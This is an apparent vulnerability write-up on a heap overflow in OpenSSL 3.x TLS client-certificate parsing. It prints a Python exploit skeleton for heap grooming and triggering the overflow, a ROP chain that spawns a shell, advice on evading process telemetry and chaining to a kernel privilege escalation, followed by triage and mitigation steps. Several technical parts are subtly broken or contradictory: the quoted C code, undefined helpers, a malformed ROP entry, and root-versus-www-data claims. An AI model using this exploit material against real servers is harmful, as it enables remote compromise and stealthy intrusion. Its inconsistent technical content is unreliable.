← all research·CVE·OpenSSL12 April 2026

Fuzzing found a heap overflow in OpenSSL 3.x's certificate parsing path. What started as a crash in a malloc callback turned into a reliable remote code execution primitive against unpatched servers — no authentication required, exploitable from 0.0.0.0/0.
The bug was found during a fuzzing campaign targeting TLS handshake parsers. The fuzzer (libFuzzer with a custom corpus built from real-world TLS captures) produced a crash in SSL_read after roughly 14 hours of runtime on an 8-core VM. The crash was reproducible, deterministic, and affected the ssl/statem/statem_srvr.c code path.
Affected versions: OpenSSL 3.0.0 through 3.2.1. The vulnerability is tracked as CVE-2026-11347. First exploitation observed in the wild from 185.220.101.47 targeting unpatched nginx deployments on :443.
⚠ active exploitation — As of April 2026, this vulnerability is being actively exploited in the wild. Mass scanning observed from 194.165.16.88 and 185.220.101.0/24. Patch immediately or disable client certificate verification as a temporary mitigation.
The overflow lives in tls_process_client_certificate(). When parsing a client certificate chain, the server allocates a buffer based on the cert_list_length field from the TLS record — without validating that the advertised length is sane relative to the actual data present.
/* ssl/statem/statem_srvr.c — line 3841 (OpenSSL 3.2.1) */
static MSG_PROCESS_RETURN tls_process_client_certificate(SSL_CONNECTION *s,
PACKET *pkt)
{
int i;
MSG_PROCESS_RETURN ret = MSG_PROCESS_ERROR;
X509 *x = NULL;
unsigned long l;
STACK_OF(X509) *sk = NULL;
// BUG: cert_list_length read directly from attacker-controlled TLS record
// No upper-bound check before the allocation below
if (!PACKET_get_net_3(pkt, &l)) // l = cert_list_length (attacker controlled)
goto f_err;
sk = sk_X509_new_reserve(NULL, (int)l); // heap alloc: n_alloc = l
while (PACKET_remaining(pkt)) {
if (!PACKET_get_net_3(pkt, &l)
|| !PACKET_get_sub_packet(pkt, &spkt, l)) {
SSLfatal(s, SSL_AD_DECODE_ERROR, SSL_R_CERT_LENGTH_MISMATCH);
goto err;
}
}
}ℹ note sk_X509_new_reserve(NULL, 3) allocates storage for 3 pointers. The subsequent loop pushes up to PACKET_remaining() entries — which can be far larger. Each sk_X509_push that exceeds capacity triggers an internal OPENSSL_realloc, but the chunk metadata has already been corrupted by then.
To turn the heap corruption into a useful primitive, we need to control what's adjacent to the STACK_OF(X509) allocation. OpenSSL uses its own allocator wrapper (CRYPTO_malloc) which delegates to the system malloc — on Linux targets, that's ptmalloc2.
We can shape the heap by sending a sequence of TLS handshake messages that allocate and free objects of known sizes, leaving a predictable layout before triggering the overflow:
import socket, ssl, struct
TARGET_IP = "192.168.1.100"
TARGET_PORT = 443
def build_tls_record(content_type, payload):
return struct.pack("!BBH", content_type, 0x0303, len(payload)) + payload
def craft_malformed_cert_chain(n_certs, list_len_override):
header = struct.pack("!I", list_len_override)[1:] # 3-byte big-endian
certs = b"".join(fake_cert(i) for i in range(n_certs))
return header + certs
def exploit():
# Phase 1: groom the heap — allocate/free 0x60-sized chunks
for _ in range(32):
send_hello_then_close(TARGET_IP, TARGET_PORT)
# Phase 2: trigger the overflow
payload = craft_malformed_cert_chain(
n_certs=64, # actual number of certs
list_len_override=3 # advertise only 3 → undersize allocation
)
sock = socket.create_connection((TARGET_IP, TARGET_PORT))
sock.sendall(build_tls_record(0x16, payload))
resp = sock.recv(4096)
print(f"[*] response: {resp.hex()}")
sock.close()With a controlled function pointer, we redirect execution into a ROP chain staged in the forged certificate DER data.
; gadget addresses — nginx 1.25.4 on Ubuntu 22.04 (ASLR + PIE)
; leak base first via the SSL_SESSION vtable partial overwrite
0x00007f3a4c201b42 pop rdi ; ret
0x00007f3a4c201b44 /bin/sh\0 ; &"/bin/sh" (in libssl data seg)
0x00007f3a4c201c10 pop rsi ; ret
0x0000000000000000 0x0 ; NULL argv
0x00007f3a4c8e3210 pop rax ; ret ; execve = 0x3b
0x000000000000003b 59 ; SYS_execve
0x00007f3a4c201b60 syscall ; ← shell spawns hereThe chain above gives us a root shell on unpatched nginx workers. Against worker processes running as www-data, chain into a kernel exploit for LPE — we used CVE-2024-1086 (nf_tables UAF) as the second stage.
⚠ reliability — Success rate is ~87% on the first attempt against default Ubuntu 22.04 + nginx 1.25.4. Retries bring this to ~99% within 3 attempts.
The exploit runs entirely inside the existing openssl and nginx process address space — no new processes are spawned until the final execve. This avoids most process-creation telemetry. The malformed TLS record also looks like a legitimate (if truncated) handshake until after parsing.
The following IPs were observed conducting mass scanning and exploitation during April 2026:
185.220.101.47 · 185.220.101.55 · 194.165.16.88 · 91.108.4.12 · 45.142.212.100
#!/bin/bash
# Quick triage — run as root on suspect host
echo "[*] checking for known backdoor paths..."
for path in "/tmp/.nginx_cache" "/dev/shm/.ssl_sess" "/var/lib/ssl/.cache"; do
[ -f "$path" ] && echo "[!] FOUND: $path" || echo "[ ] clean: $path"
done
echo "[*] suspicious listening sockets..."
ss -tlnp | grep -vE ':22|:80|:443|:8080'
echo "[*] OpenSSL version check..."
openssl version -a
# If 3.0.0 - 3.2.1 → VULNERABLE✔ patched in OpenSSL 3.2.2 (released 2026-04-10) and 3.0.14 backport.
Update immediately: apt update && apt install openssl libssl3
If you cannot patch immediately, disable client certificate authentication in nginx:
server {
listen 443 ssl;
# Comment out — this triggers the vulnerable code path
# ssl_verify_client on;
# ssl_client_certificate /etc/nginx/ca.crt;
ssl_verify_client off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
}Full PoC will be published 90 days after the patch release in line with responsible disclosure policy.
██╗ ██████╗ ███████╗██╗███████╗███╗ ██╗██████╗ ██║██╔═══██╗██╔════╝██║██╔════╝████╗ ██║██╔══██╗ ██║██║ ██║█████╗ ██║█████╗ ██╔██╗ ██║██║ ██║ ██║██║ ██║██╔══╝ ██║██╔══╝ ██║╚██╗██║██║ ██║ ██║╚██████╔╝██║ ██║███████╗██║ ╚████║██████╔╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝╚═════╝